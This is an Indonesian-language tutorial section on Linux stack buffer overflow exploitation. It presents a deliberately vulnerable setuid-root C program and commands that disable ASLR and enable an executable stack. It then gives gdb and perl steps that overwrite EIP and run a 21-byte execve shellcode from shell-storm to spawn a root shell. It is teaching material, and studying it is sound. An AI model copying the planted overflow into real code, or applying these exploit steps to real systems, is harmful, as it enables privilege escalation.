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5.3.1. Pengenalan Eksploitasi di Linux

Dasar Eskploitasi Buffer Overflow di Linux

Contoh Aplikasi Vulnerable 

Berikut ini adalah contoh aplikasi yang terkena bug buffer overflow yang akan kita eksploitasi :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
{

char local[20];

if (argc < 2)  {
printf("\nusage : ./bug <your password>\n");
exit(1);

}
sprintf(local, "%s", argv[1]);
if (strcmp(local, "admin") == 0) {

setuid(0);
execve("/bin/sh", 0, 0);

}
else {

printf("\nsorry wrong password\n");
}
return 0;

}

Pada aplikasi di atas kita bisa melihat bahwa buffer diinisialisasi sebesar 20 bytes

char local[20];

Akan tetapi aplikasi akan mengkopi ke buffer dengan ukuran terbatas tersebut dengan inputan argumen
dari user dengan panjang tidak terbatas :

sprintf(local, "%s", argv[1]);

Yang mana akan menyebabkan bug buffer overflow karena jika aplikasi tersebut menerima inputan
yang melebihi ukuran buffer sebesar 20 bytes maka akan menyebabkan daerah pada memori di luar
buffer akan ikut dioverwrite, di mana eip akan dipengaruhi dengan inputan berlebih tersebut.

Simpan dengan nama bug.c lalu kompile :

gcc -o bug bug.c -z execstack
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Sebelum memulai eksploitasi kita harus mematikan proteksi aslr, untuk menonaktifkan aslr ketikkan :

echo 0 > /proc/sys/kernel/randomize_va_space

Selanjutnya ganti kepemilikan menjadi root dan berikan suid :

chown root:root bug;chmod u+s bug

Menguji Bug dan Mengontrol EIP

Untuk menguji aplikasi tersebut di sini telah kita siapkan user biasa dengan login cr0 :

Dari source code di atas kita mengetahui jika aplikasi di atas menerima inputan lebih dari 20 bytes
melalui argumen maka akan terjadi bug buffer overflow.

Untuk melakukan pengujian kita akan menggunakan gdb dan memberikan inputan lebih dari 20 bytes:



Dari hasil di atas kita bisa mengontrol eip secara penuh dengan jumlah inputan sebesar 36 bytes.

Langkah selanjutnya kita akan mencoba memberikan inputan dengan ukuran shellcode. Debug program
bug dengan gdb lalu berikan inputan:

run  `perl -e 'print "\x41" x32';``perl -e 'print "\x42\x42\x42\x42"';``perl -e 'print "\x43" x400';`



Dari hasil tampilan di atas kita punya cukup tempat untuk menaruh shellcode.

Untuk menguji di mana landing spot kita akan mencoba menggunakan payload mini :

run  `perl -e 'print "\x41" x32';``perl -e 'print "\x42\x42\x42\x42"';``perl -e 'print "\x43" x21';`

Kita akan menggunakan shellcode sepanjang 21 bytes saja, selanjutnya kita uji dengan gdb



Ok kita bisa melihat jika kita bisa landing di esp maka kita bisa mengeksekusi shellcode \x43 tadi
sepanjang 21 bytes. Selanjutnya kita akan menggunakan shellcode mini sepanjang 21 bytes, shellcode
yang akan kita gunakan adalah http://www.shell-storm.org/shellcode/files/shellcode-575.php

dibuat oleh  seseorang dengan nick zeroed untuk execve shellcode di mana shellcode ini hanya sebesar
21 bytes.

Dump shellcode di atas ke bentuk binary dengan perl :

http://www.shell-storm.org/shellcode/files/shellcode-575.php


Karena esp adalah 0xbffff4c0, maka kita kita encode secara little endian karena kita mengeksploitasi
mesin intel x86, menjadi :

\xc0\xf4\xff\xbf

Sehingga format exploit kita menjadi :

(junk sebesar 32 bytes) + (eip) + (shellcode sebesar 21 bytes)

Selanjutnya apply payload di atas :

run  `perl -e 'print "\x41" x32';``perl -e 'print "\xc0\xf4\xff\xbf"';``cat shellcode`



Jika eksploitasi berhasil maka shell /bin/sh akan dispawn seperti pada tampilan di atas.




